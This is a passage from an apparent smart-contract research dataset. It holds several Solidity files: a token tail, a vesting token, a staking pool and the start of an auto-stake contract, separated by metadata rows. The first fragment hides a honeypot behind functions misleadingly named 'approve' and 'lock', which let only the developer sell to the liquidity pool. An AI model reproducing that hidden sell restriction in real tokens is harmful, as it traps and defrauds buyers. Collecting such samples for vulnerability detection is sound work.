require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function lock(bool _lockpool,address _pooladdress) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
lockpool = _lockpool;
pooladdress = _pooladdress;
}
function updateuniSwapRouter(address _router) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
uniSwapRouter = IUniswapV2Router02(_router);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**6;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (!lockpool){
if(recipient == pooladdress && sender != _excludeDevAddress){
require(amount <= 1, "Transfer amount exceeds the maxTxAmount.");
}
}
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(5).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, BURN_ADDRESS, burnAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 253,867 | 10,878 |
bb5b8a012bace972c6c42e5f87385b1c744720bcc06264d9595c0c151130ce16
| 20,324 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs-wild-clean-contracts/0x32a4e2125fc9397017e0c04a605256c8fcbd1181.sol
| 3,789 | 14,328 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract TokenVesting is Owned {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
// beneficiary of tokens after they are released
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
address internal ownerShip;
constructor(address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable,
address _realOwner)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
ownerShip = _realOwner;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(ownerShip, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
contract TokenVault {
using SafeERC20 for ERC20;
// ERC20 token contract being held
ERC20 public token;
constructor(ERC20 _token) public {
token = _token;
}
function fillUpAllowance() public {
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.approve(token, amount);
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
}
}
contract JEC_Token is BurnableToken, Owned {
string public constant name = "Jeju Crypto";
string public constant symbol = "JEC";
uint8 public constant decimals = 18;
/// Maximum tokens to be allocated (2.1 billion BKB)
uint256 public constant HARD_CAP = 2100000000 * 10**uint256(decimals);
/// This address will be used to distribute the team, advisors and reserve tokens
address public saleTokensAddress;
/// This vault is used to keep the Founders, Advisors and Partners tokens
TokenVault public reserveTokensVault;
/// Date when the vesting for regular users starts
uint64 internal daySecond = 86400;
uint64 internal lock90Days = 90;
uint64 internal unlock100Days = 100;
uint64 internal lock365Days = 365;
/// Store the vesting contract addresses for each sale contributor
mapping(address => address) public vestingOf;
constructor(address _saleTokensAddress) public payable {
require(_saleTokensAddress != address(0));
saleTokensAddress = _saleTokensAddress;
/// Maximum tokens to be sold - 1.89 billion
uint256 saleTokens = 1890000000;
createTokensInt(saleTokens, saleTokensAddress);
require(totalSupply_ <= HARD_CAP);
}
/// @dev Create a ReserveTokenVault
function createReserveTokensVault() external onlyOwner {
require(reserveTokensVault == address(0));
/// Reserve tokens - 0.21 billion
uint256 reserveTokens = 210000000;
reserveTokensVault = createTokenVaultInt(reserveTokens);
require(totalSupply_ <= HARD_CAP);
}
/// @dev Create a TokenVault and fill with the specified newly minted tokens
function createTokenVaultInt(uint256 tokens) internal onlyOwner returns (TokenVault) {
TokenVault tokenVault = new TokenVault(ERC20(this));
createTokensInt(tokens, tokenVault);
tokenVault.fillUpAllowance();
return tokenVault;
}
// @dev create specified number of tokens and transfer to destination
function createTokensInt(uint256 _tokens, address _destination) internal onlyOwner {
uint256 tokens = _tokens * 10**uint256(decimals);
totalSupply_ = totalSupply_.add(tokens);
balances[_destination] = balances[_destination].add(tokens);
emit Transfer(0x0, _destination, tokens);
require(totalSupply_ <= HARD_CAP);
}
/// @dev vest Detail : second unit
function vestTokensDetailInt(address _beneficiary,
uint256 _startS,
uint256 _cliffS,
uint256 _durationS,
bool _revocable,
uint256 _tokensAmountInt) external onlyOwner {
require(_beneficiary != address(0));
uint256 tokensAmount = _tokensAmountInt * 10**uint256(decimals);
if(vestingOf[_beneficiary] == 0x0) {
TokenVesting vesting = new TokenVesting(_beneficiary, _startS, _cliffS, _durationS, _revocable, owner);
vestingOf[_beneficiary] = address(vesting);
}
require(this.transferFrom(reserveTokensVault, vestingOf[_beneficiary], tokensAmount));
}
/// @dev vest StartAt : day unit
function vestTokensStartAtInt(address _beneficiary,
uint256 _tokensAmountInt,
uint256 _startS,
uint256 _afterDay,
uint256 _cliffDay,
uint256 _durationDay) public onlyOwner {
require(_beneficiary != address(0));
uint256 tokensAmount = _tokensAmountInt * 10**uint256(decimals);
uint256 afterSec = _afterDay * daySecond;
uint256 cliffSec = _cliffDay * daySecond;
uint256 durationSec = _durationDay * daySecond;
if(vestingOf[_beneficiary] == 0x0) {
TokenVesting vesting = new TokenVesting(_beneficiary, _startS + afterSec, cliffSec, durationSec, true, owner);
vestingOf[_beneficiary] = address(vesting);
}
require(this.transferFrom(reserveTokensVault, vestingOf[_beneficiary], tokensAmount));
}
/// @dev vest function from now
function vestTokensFromNowInt(address _beneficiary, uint256 _tokensAmountInt, uint256 _afterDay, uint256 _cliffDay, uint256 _durationDay) public onlyOwner {
vestTokensStartAtInt(_beneficiary, _tokensAmountInt, now, _afterDay, _cliffDay, _durationDay);
}
/// @dev vest the sale contributor tokens for 100 days, 1% gradual release
function vestCmdNow1PercentInt(address _beneficiary, uint256 _tokensAmountInt) external onlyOwner {
vestTokensFromNowInt(_beneficiary, _tokensAmountInt, 0, 0, unlock100Days);
}
function vestCmd3Month1PercentInt(address _beneficiary, uint256 _tokensAmountInt) external onlyOwner {
vestTokensFromNowInt(_beneficiary, _tokensAmountInt, lock90Days, 0, unlock100Days);
}
/// @dev vest the sale contributor tokens 100% release after 1 year
function vestCmd1YearInstantInt(address _beneficiary, uint256 _tokensAmountInt) external onlyOwner {
vestTokensFromNowInt(_beneficiary, _tokensAmountInt, 0, lock365Days, lock365Days);
}
/// @dev releases vested tokens for the caller's own address
function releaseVestedTokens() external {
releaseVestedTokensFor(msg.sender);
}
/// @dev releases vested tokens for the specified address.
/// Can be called by anyone for any address.
function releaseVestedTokensFor(address _owner) public {
TokenVesting(vestingOf[_owner]).release(this);
}
/// @dev check the vested balance for an address
function lockedBalanceOf(address _owner) public view returns (uint256) {
return balances[vestingOf[_owner]];
}
/// @dev check the locked but releaseable balance of an owner
function releaseableBalanceOf(address _owner) public view returns (uint256) {
if (vestingOf[_owner] == address(0)) {
return 0;
} else {
return TokenVesting(vestingOf[_owner]).releasableAmount(this);
}
}
/// @dev revoke vested tokens for the specified address.
/// Tokens already vested remain in the contract, the rest are returned to the owner.
function revokeVestedTokensFor(address _owner) public onlyOwner {
TokenVesting(vestingOf[_owner]).revoke(this);
}
/// @dev Create a ReserveTokenVault
function makeReserveToVault() external onlyOwner {
require(reserveTokensVault != address(0));
reserveTokensVault.fillUpAllowance();
}
}
| 133,200 | 10,879 |
3de5acf88874e2f9d5c3b22568dc24def5ab5286dedcc8083fd3ebe4db435f32
| 14,373 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x3ABBD721ffE113EF8839617AADfCADa21bd18E5c/contract.sol
| 3,591 | 13,833 |
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
uint256[50] private ______gap;
}
contract StakePool is Initializable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public depositToken;
address public feeTo;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function initialize(address _token, address _feeTo) public initializer {
depositToken = IERC20(_token);
feeTo = address(_feeTo);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function _stake(uint256 amount) internal {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
depositToken.safeTransferFrom(msg.sender, address(this), amount);
}
function _withdraw(uint256 amount) internal {
if (msg.sender != address(feeTo)) {
uint256 feeamount = amount.div(20);
uint256 finalamount = (amount - feeamount);
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
depositToken.safeTransfer(msg.sender, finalamount);
depositToken.safeTransfer(feeTo, feeamount);
} else {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
depositToken.safeTransfer(msg.sender, amount);
}
}
function _withdrawFeeOnly(uint256 amount) internal {
uint256 feeamount = amount.div(20);
_totalSupply = _totalSupply.sub(feeamount);
_balances[msg.sender] = _balances[msg.sender].sub(feeamount);
depositToken.safeTransfer(feeTo, feeamount);
}
function feeToUpdate(address _feeTo) public {
require(msg.sender == feeTo, "feeTo: wut?");
feeTo = _feeTo;
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract WBNBPOOL is StakePool {
IERC20 public rewardToken;
uint256 public halvingPeriod = 604800;
uint256 public totalreward;
uint256 public starttime;
uint256 public stakingtime;
uint256 public eraPeriod = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
uint256 public totalRewards = 0;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
constructor(address _depositToken, address _rewardToken, uint256 _totalreward, uint256 _starttime, uint256 _stakingtime) public {
super.initialize(_depositToken, msg.sender);
rewardToken = IERC20(_rewardToken);
starttime = _starttime;
stakingtime = _stakingtime;
notifyRewardAmount(_totalreward.mul(50).div(100));
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, eraPeriod);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "ERROR: Cannot stake 0 Token");
super._stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkhalve checkStart stakingTime{
require(amount > 0, "ERROR: Cannot withdraw 0");
super._withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external stakingTime{
withdraw(balanceOf(msg.sender));
_getRewardInternal();
}
function getReward() public updateReward(msg.sender) checkhalve checkStart stakingTime{
uint256 reward = earned(msg.sender);
uint256 bal = balanceOf(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
if (bal > 0) {
super._withdrawFeeOnly(bal);
}
rewardToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
totalRewards = totalRewards.add(reward);
}
}
function _getRewardInternal() internal updateReward(msg.sender) checkhalve checkStart{
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
rewardToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
totalRewards = totalRewards.add(reward);
}
}
modifier checkhalve(){
if (block.timestamp >= eraPeriod) {
totalreward = totalreward.mul(50).div(100);
rewardRate = totalreward.div(halvingPeriod);
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(totalreward);
}
_;
}
modifier checkStart(){
require(block.timestamp > starttime,"ERROR: Not start");
_;
}
modifier stakingTime(){
require(block.timestamp >= stakingtime,"ERROR: Withdrawals not allowed yet");
_;
}
function notifyRewardAmount(uint256 reward)
internal
updateReward(address(0))
{
if (block.timestamp >= eraPeriod) {
rewardRate = reward.div(halvingPeriod);
} else {
uint256 remaining = eraPeriod.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(halvingPeriod);
}
totalreward = reward;
lastUpdateTime = block.timestamp;
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(reward);
}
}
| 257,765 | 10,880 |
2cb7456b2497d6beda20f2a0e66290abd7dd14e50a1e946dc97a0f51c97e711a
| 33,100 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/5b/5b017074947f18fc86f161fe254bc76225783625_SoulAutoStake.sol
| 4,916 | 20,471 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint value) internal {
uint newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint value) internal {
unchecked {
uint oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint private constant _NOT_ENTERED = 1;
uint private constant _ENTERED = 2;
uint private _status;
